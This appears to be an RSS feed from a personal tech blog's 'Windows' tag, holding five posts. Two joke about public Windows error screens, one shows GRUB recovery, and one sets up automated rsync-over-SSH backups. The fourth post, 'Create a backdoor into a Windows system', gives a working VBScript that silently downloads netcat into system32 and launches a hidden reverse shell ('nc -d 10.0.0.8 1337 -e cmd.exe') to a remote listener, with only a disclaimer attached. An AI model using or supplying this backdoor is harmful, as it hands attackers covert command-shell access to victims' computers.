Advertise with Googlier.comAllan Feid - Windows
https://allanfeid.com/category/tags/windows
enWindows Errors Strike Again
https://allanfeid.com/content/windows-errors-strike-again
<div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>I was leaving a movie theater in Tempe last night and my friend Sean noticed this:</p>
<p><center><br />
<a href="/sites/default/files/3-1-09-WindowsError.jpeg" title="Click for Larger Version"><img src="/sites/default/files/3-1-09-WindowsError.jpeg" width="90%" height="90%" title="Windows Error on Motorcycle Game" /></a><br />
</center></p>
<p>A error on a cheap looking motorcycle racing game. I didn't take the time to read the error <a href="http://allanfeid.com/content/windows-airport" title="Windows at the Airport">but this is the second time I've come across application errors in the wild</a>.</p>
</div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags: </h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item odd"><a href="/category/tags/funny" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">funny</a></li><li class="field-item even"><a href="/category/tags/random" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">random</a></li><li class="field-item odd"><a href="/category/tags/error" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">error</a></li></ul></section>Mon, 02 Mar 2009 08:15:38 +0000Allan Feid35 at https://allanfeid.comRecovering GRUB after accidentally writing to MBR
https://allanfeid.com/content/recovering-grub-after-accidentally-writing-mbr
<div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>The other day I decided to partition out a tiny bit of my hard drive (10 GB) to install Windows XP. I figured it was good to have around to play games in my spare time. No big deal, the install went fine. Then I realized Windows likes to take over the MBR. Grub was no longer my default boot loader. So in order to boot back into Ubuntu I needed a live CD. Honestly, any live CD should work fine for this (try Ubuntu's if you don't have a preference).</p>
<p>Once in you're in your live environment, you need to go into grub's console with the following command:</p>
<pre>$ grub</pre><p>You should then have a prompt as such:</p>
<pre>grub></pre><p>If you're unsure of which partition you have your boot information you can use a quick find command like this:</p>
<pre>grub> find /boot/grub/stage1</pre><p>This should return something similar to <cite>(hd0,2)</cite>. Use that for the following two commands.</p>
<pre>
grub> root (hd0,2)
grub> setup (hd0)
</pre><p>You should be good to go at this point. If you want to boot back into Windows you will stil need to add that to your <cite>/boot/grub/menu.lst</cite> and add the following all the way at the end.</p>
<pre>
title Windows
root (hd0,1)
makeactive
chainloader +1
</pre><p>This time replace <cite>(hd0,1)</cite> with the location of your Windows partition.</p>
<p>For further information you can take a look at the Ubuntu Wiki for <a target="_blank" href="https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows">Recovering Ubuntu After Installing Windows</a>.</p>
<div class="zemanta-pixie"><img class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=f6eafeb0-1818-4b0c-b422-a78daeef16c3" /></div>
</div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags: </h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/ubuntu" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Ubuntu</a></li><li class="field-item odd"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item even"><a href="/category/tags/grub" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">GRUB</a></li><li class="field-item odd"><a href="/category/tags/mbr" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">MBR</a></li><li class="field-item even"><a href="/category/tags/boot-loader" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">boot loader</a></li></ul></section>Wed, 25 Feb 2009 03:58:33 +0000Allan Feid34 at https://allanfeid.comAutomated Backup w/ rsync over SSH
https://allanfeid.com/content/automated-backup-w-rsync-over-ssh
<div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>There are four main sections to getting this up and running</p>
<ol>
<li><a href="#intro">Introduction</a></li>
<li><a href="#install">Installing/Configuring Required Software</a></li>
</ol>
<ul>
<li>OpenSSH</li>
<li>rsync</li>
<li>smbfs (optional)</li>
</ul>
<li><a href="#windows">Auto-mounting a Windows share (optional)</a></li>
<li><a href="#script">Creating a script to do the work for you</a></li>
<li><a href="#auto">Automating the backup using cron jobs</a></li>
<p><a name="intro" id="intro"></a><strong>Introduction</strong> </p>
<p>Before going over everything here, I'd like to point out why this information is useful and define a few terms. Using rsync to create a backup server solution is entirely free and conserves bandwidth. The reason it conserves bandwidth is rsync itself only sends the parts of each file that have changed. FTP sends the entire file each time even if only one word was changed in a file. Sending all of this traffic over SSH ensures security and also protects you from having to run a full rsync server. Key Terms:</p>
<ul>
<li>Backup server: the PC that will be issuing all the rsync commands and storing the backups</li>
<li>Host computer: the PC where we will be getting the files from</li>
</ul>
<p>With all of that out of the way, it's just a matter of setting everything up. </p>
<p><a name="install" id="install"></a><strong>Installing/Configuring Required Software</strong></p>
<p>In order to get things going you'll need to install a few pieces of software. In my situation I had a Windwos share that I wanted to back my home folder up to. In order to play around with Windows shares you'll need to also install the samba client. </p>
<p><strong>OpenSSH</strong> </p>
<p>Simple to install with one line:<br />
<code>sudo apt-get install openssh-server</code></p>
<p>Once this is done you will be able to connect but it requires a password entry. This is sort of a problem when we're looking at automating the entire backup process so in order to solve that problem we'll use ssh keys instead. From your backup server we'll need to create an ssh key by issuing the following: </p>
<p><code>ssh-keygen -t dsa</code> </p>
<p>Now you can either copy the key manually in some fashion or do it over an SSH connection with this: </p>
<p><code>scp ~/.ssh/id_dsa.pub username@x.x.x.x:./id_dsa.pub</code></p>
<p>Note that <cite>username</cite> is the local account on the host and <cite>x.x.x.x</cite> is the IP of the host. What this will do is copy the public key from the server to our host. After that we need to tell our host PC to use that key as authorization instead of asking for a password.</p>
<pre>
cd .ssh
touch authorized_keys2
chmod 600 authorized_keys2
cat ../id_dsa.pub >> authorized_keys2
rm ../id_dsa.pub
</pre><p>
Here you can see we just change directory to .ssh and use touch to create the file authorized_keys2. Once the file is created lock it down and only allow the current user to change the file and finally add the public key then remove the original file containing the key. When you finish this try it out. If you're able to connect to your host pc from the backup server over SSH with no password everything has been setup correctly.</p>
<p><strong>rsync & smbfs</strong></p>
<p>These two are simple to install with just one line:</p>
<pre>
sudo apt-get install rsync
sudo apt-get install smbfs
</pre><p>
Keep in mind that smbfs is not required it just depends on your setup. If you would like to backup to/from a Windows share then you will want this along with the next section. Otherwise you can skip down to automating the backup using cron jobs.</p>
<p><a name="windows" id="windows"></a><strong>Auto-mounting a Windows share (optional)</strong></p>
<p>To mount a windows share everytime you boot up you will need to modify your <cite>/etc/fstab</cite> file. You only need to add one line at the end of this file like this:</p>
<pre>//x.x.x.x/Backups /media/Backup cifs iocharset=utf8,credentials=/root/.smbcredentials,uid=1000 0 0</pre><p>
Of course you must replace <cite>x.x.x.x</cite> with the IP of your Windows computer and "Backups" with the share name. You will also need to create the file <cite>/root/.smbcredentials</cite>.</p>
<p><cite>.smbcredentials</cite></p>
<pre>
username=MyUsername@domain.com
password=MyPassword
</pre><p>
This is a security risk because anyone with root priviledges can read your username/password in plain text so we must lock this down as much as possible. </p>
<pre>
sudo chown root /root/.smbcredentials
sudo chmod 600 /root/.smbcredentials
</pre><p>
Also as a side note, you won't need "@domain.com" if your PC is not part of a domain. Once all this is down you can mount everything by issuing this:</p>
<p><code>sudo mount -a</code></p>
<p>You should now be able to access the share by browsing /media/Backups.</p>
<p><a name="script" id="script"></a><strong>Creating a script to do the work for you</strong><br />
We're all lazy. Especially with making sure we have up-to-date backups. So to make it easier I've compiled a simple script that will ping the host to make sure it's alive and then execute the rsync command.</p>
<p><cite>rsync_backup.sh</cite></p>
<pre>
#!/bin/bash
awk ' function pinger(count,ip) {
command = "ping -c "count " " ip
while (( command | getline res )> 0 ) {
if ( res ~ /0 received|100% packet loss/ ) {
close(command)
return 100
}
}
close(command)
return 0
}
BEGIN {
IP="x.x.x.x"
if ( pinger(2,IP) == 0 ) {
system("rsync -raz --delete --rsh=ssh user@x.x.x.x:/home/user /media/Backup")
}
}'
</pre><p>
This will of course need to be modified to work with your setup. Replace <cite>x.x.x.x</cite> with your hosts IP and <cite>/home/user</cite> with the directory you would like to backup.</p>
<p><code>rsync -raz --delete --rsh=ssh user@x.x.x.x:/home/user /media/Backup</code></p>
<p>Here you can modify the actual rsync command used. The options <cite>r, a, & z</cite> are used for recursive, archive, and compress the data. The delete option deletes files that no longer exist on the source (in this case /home/user) and rsh tells rsync to use ssh. Take a look at the <a href="http://www.samba.org/ftp/rsync/rsync.html" title="Online man page for rsync">man page</a> for further information about available rsync commands.</p>
<p><a name="auto" id="auto"></a><strong>Automating the backup using cron jobs</strong></p>
<p>To run this script everyday at 11PM you can simply add a cron job.</p>
<p><code>crontab -e</code></p>
<p>The above starts your default text editor in the file that holds cron jobs. The next line is what should be added to run the script at a certain time everyday.</p>
<p><code>0 23 * * * /path/to/rsync_backup.sh</code></p>
<p>Take a look at the <a href="http://www.alts.net/servers/extensions/cron/crontab_5.html" title="Online man page for crontab">crontab man page</a> for a more detailed explanation of how cronjobs work.</p>
<p><strong>Summary</strong></p>
<p>Once this is all setup it's easy to modify to backup multiple PCs from the single backup server. For Windows PCs you can create a share or use the administrative share (\\comp\c$\path\to\files) and auto-mounting in order to back up PCs without installing SSH or rsync. This concept also works for Linux environments but does require a full samba install and configuration. That's the beauty of rsync, you can really do whatever you would like with it. If you have any questions or feel stumped feel free to contact me.</p>
<p><a href="/content/my-projects">Back to my projects</a></p>
</div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags: </h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/linux" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Linux</a></li><li class="field-item odd"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item even"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li><li class="field-item odd"><a href="/category/tags/backup" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">backup</a></li><li class="field-item even"><a href="/category/tags/ssh" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">ssh</a></li><li class="field-item odd"><a href="/category/tags/rsync" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">rsync</a></li><li class="field-item even"><a href="/category/tags/automated" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">automated</a></li><li class="field-item odd"><a href="/category/tags/script" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">script</a></li><li class="field-item even"><a href="/category/tags/samba" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">samba</a></li><li class="field-item odd"><a href="/category/tags/networking" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">networking</a></li></ul></section>Wed, 26 Nov 2008 01:47:52 +0000Allan Feid20 at https://allanfeid.comCreate a backdoor into a Windows system
https://allanfeid.com/content/create-backdoor-windows-system
<div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>Using VBScript and netcat it is quite simple to create a basic backdoor into a users system with the priviledges of the user that ran the script. It's a very basic concept and all it does it download the netcat program (nc.exe) from a trusted website into the users c:\windows\system32 folder. What this does is allow you to run netcat from the command line without dealing with the full location of nc.exe. Once the file is in the system32 folder it can simple be run from any command prompt. </p>
<!--break--><p><b>***This is a proof of concept and should not be used for illegal purposes. Only use this in your own test environment and I take no responsibility if you mess something up with this***</b></p>
<p>To set this up, you need to have a computer running netcat waiting for the incomming connection. To do that just run a simple command such as:</p>
<pre>nc -l 1337</pre><p>That's when we tell the script to run the following netcat command:</p>
<pre>nc -d 10.0.0.8 1337 -e cmd.exe</pre><p>
What this does is tell netcat to connect to the IP 10.0.0.8 on TCP port 1337. The -e switch tells netcat to execute cmd.exe and output it to the server waiting for the connection. The -d switch tells netcat to run in the background in a Windows environment. The user won't even know it's running without checking the process list.
</p>
<p>Here's an example script that will automatically download nc.exe, write it to c:\windows\system32 and then execute the netcat command to connect to the remote server:
</p>
<pre>
' Set your settings
strFileURL = "http://10.0.0.10/nc.exe"
strHDLocation = "C:\WINDOWS\system32\nc.exe"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
Set objShell = CreateObject("WScript.Shell")
' Execute the connection
objShell.Exec("nc -d 10.0.0.8 1337 -e cmd.exe")
</pre><p>
<a href="/content/my-projects">Back to my projects</a></p>
</div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags: </h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item odd"><a href="/category/tags/backdoor" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">backdoor</a></li><li class="field-item even"><a href="/category/tags/vbscript" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">vbscript</a></li><li class="field-item odd"><a href="/projects" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">project</a></li></ul></section>Tue, 18 Nov 2008 00:37:27 +0000Allan Feid15 at https://allanfeid.comWindows at the Airport
https://allanfeid.com/content/windows-airport
<div class="field field-name-body field-type-text-with-summary field-label-hidden view-mode-rss"><div class="field-items"><div class="field-item even" property="content:encoded"><p>I was boarding a plane from EWR (Newark, NJ) to PHX (Phoenix Skyharbor) and came accross this on one of the information screens:</p>
<p><center><br />
<img src="/sites/default/files/errormsgwin.jpg" alt="Windows error on a Delta information screen" width="500" height="375" /></center></p>
<p>It was an error for one of their VBScripts. I'm not sure what exactly the script does or was supposed to do but it did create an eyesore while waiting for my plane to board.</p>
</div></div></div><section class="field field-name-taxonomy-vocabulary-1 field-type-taxonomy-term-reference field-label-above view-mode-rss"><h2 class="field-label">Tags: </h2><ul class="field-items"><li class="field-item even"><a href="/category/tags/phoenix" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">phoenix</a></li><li class="field-item odd"><a href="/category/tags/windows" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">Windows</a></li><li class="field-item even"><a href="/category/tags/errors" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">errors</a></li><li class="field-item odd"><a href="/category/tags/funny" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">funny</a></li><li class="field-item even"><a href="/category/tags/random" typeof="skos:Concept" property="rdfs:label skos:prefLabel" datatype="">random</a></li></ul></section>Tue, 04 Nov 2008 00:44:19 +0000Allan Feid10 at https://allanfeid.com